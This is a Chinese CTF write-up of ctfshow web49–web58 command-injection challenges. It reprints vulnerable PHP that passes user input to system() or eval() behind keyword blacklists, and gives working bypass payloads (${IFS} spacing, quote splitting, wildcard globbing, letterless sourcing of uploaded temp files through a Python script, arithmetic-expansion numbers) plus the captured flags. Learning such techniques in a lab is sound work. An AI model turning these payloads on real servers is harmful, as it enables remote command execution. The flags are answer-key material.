题目来源:CTFshow

练习时间:2026年2月8日

练习数量:10

上篇博客链接:
CTF-ctfshow_Web入门_命令执行2

⭐️ 21 web49

🚩flag:ctfshow{e73e678a-4628-4e0e-98a3-ca96a302ddc4}

💡hint:Web 命令执行(Command Injection) 过滤绕过

题目:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

同上题:

?c=tac%09fla?.php||

⭐️ 22 web50

🚩flag:ctfshow{a247f3b8-5536-4c0d-88f2-a2503e4fb68c}

💡hint:Web 命令执行(Command Injection) 过滤绕过

题目:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

因为09也被过滤,也被过滤,所以换一个不需要空格的命令

/?c=tac<fl''ag.php%0a

tac<file 不需要空格,shell 语法仍然成立


⭐️ 23 web51

🚩flag:ctfshow{135d9e8e-4ce0-45e3-892e-e74d7066cc1a}

💡hint:Web 命令执行(Command Injection) 过滤绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

tac也被ban了,没招了哈哈)
还可以尝试这个:

?c=vi<fla\g.php||

或者是:

?c=t''ac<fl''ag.php%0a

⭐️ 24 web52

🚩flag:ctfshow{55d61b1a-ae67-4e70-85ab-cc9b689785f2}

💡hint:Web 命令执行(Command Injection) 过滤绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

<也被ban了,怎么说
这次flag不在flag.php中,按照之前的思路去读取flag.php的内容会显示$flag=”flag_here”,包含flag的文件在根目录下,/?c=nl${IFS}/fl?g||
(1) ${IFS} 代替空格
在很多 shell 里,IFS(Internal Field Separator)默认包含空格/制表符/换行。
所以 ${IFS} 常被用来当“空格”用(绕过对空格的过滤),从而让“命令 + 参数”还能拆开。
这不是 PHP 的特性,是 shell 的解析特性。


⭐️ 25 web53

🚩flag:ctfshow{6da819f7-c94c-4186-a92b-31dbc7442635}

💡hint:Web 命令执行(Command Injection) 过滤绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

相比于上面的题目,是增加了明显的回显。
简化:

echo($c);
$d = system($c);
echo "<br>".$d;

可以尝试

c=ca''t${IFS}fla''g.php
?c=t''ac${IFS}fl''ag.php

⭐️ 26 web54

🚩flag:ctfshow{2cdbedaa-0330-4c08-9d5e-50c5230e8b90}

💡hint:Web 命令执行(Command Injection) 过滤绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

只要字符串里出现 按顺序 的 c → a → t(中间允许夹任何字符,包括引号、变量、其它符号),就判定命中并拦截。

?c=grep${IFS}%27fla%27${IFS}f???????%0a

⭐️ 27 web55

🚩flag:ctfshow{2def6d2b-ceec-453a-bf79-a6447ef1346c}

💡hint:Web 命令执行(Command Injection) 过滤绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

过滤了所有的字母。
bash无字母命令执行
python脚本

import requests

url='http://b384c7ec-086e-4473-bd2f-ad489ca03d8f.challenge.ctf.show'

payload='?c=.%20/???/????????[@-[]' # . 等效与source 执行脚本,???/????????[@-[] --> tmp/php随机6位数,随机6位数用 --> ?????[@-[]表示,[@-[] 代表数字或字母

command=input("please input your command:")

file={"file":f"#!/bin/bash\n{command}"}

r=requests.post(url=url+payload,files=file).text print(r)

其他方法:
?c=/???/????64 ????.???
// 即/bin/base64 flag.php
//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有

?c=/???/???/????2 ????.???
// 即/usr/bin/bzip2 flag.php
//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。


⭐️ 28 web56

🚩flag:ctfshow{e456a125-eadd-4dea-af2f-55725656e8fe}

💡hint:Web 命令执行(Command Injection) 过滤绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

使用python脚本

import time
import requests

url = "http://37acb00e-06c0-4868-8cb0-b49850172a01.challenge.ctf.show"
payload = {"c":". /???/????????[@-[]"}


with open('1.txt','r') as file:
files = {'file': file}
while 1:
r = requests.post(url,params=payload,files=files)

if r.text:
print("\n" + r.text)
break

time.sleep(1)
print(".", end=' ',flush=True)

⭐️ 29 web57

🚩flag:ctfshow{06617602-e388-44e0-84e6-90f5c7c325f0}

💡hint:Web 命令执行(Command Injection) 过滤绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

真不会做了。
在Linux中:echo $((1+3))或者echo $((~1)),输出3和-2,至于1取反为什么是-2涉及补码问题

$(())=0,不输入,默认为0

$((~ $(())))=-1 对其取反,即–>$((0))=-1,0取反为-1

$((~ 36))=-37

因此可以37个 -1相加,再取反

所以:$((-37)) –> $(($((-37)))) –>$(($((-1 * 37)))) –> $(($(( $((~ $(())))* 37))))

a=’$((~$(())))’ num=’’ for i in range(37): num+=a

payload=f”$((~$(({num}))))” print(payload)

输出:$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))

其他姿势:

?c=grep${IFS}'fla'${IFS}fla??php

积累解题方法:
通过bash的预定义变量 $$ 获得 当前进程号
通过算数扩展进行运算 $(($$/$$)) 获得数字1
接下来,就是配合加法的到数字36
/?c=$((($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)+($$/$$)))


⭐️ 30 web58

🚩flag:ctfshow{c93bd481-77c2-4adc-82b0-4f7f6de56fe9}

💡hint:命令执行 POST

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

要用到burpsuite:

POST / HTTP/1.1
Host: 61793ede-198f-4915-89fd-10949c860fa5.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

c=highlight_file("flag.php");

今日份结束🔚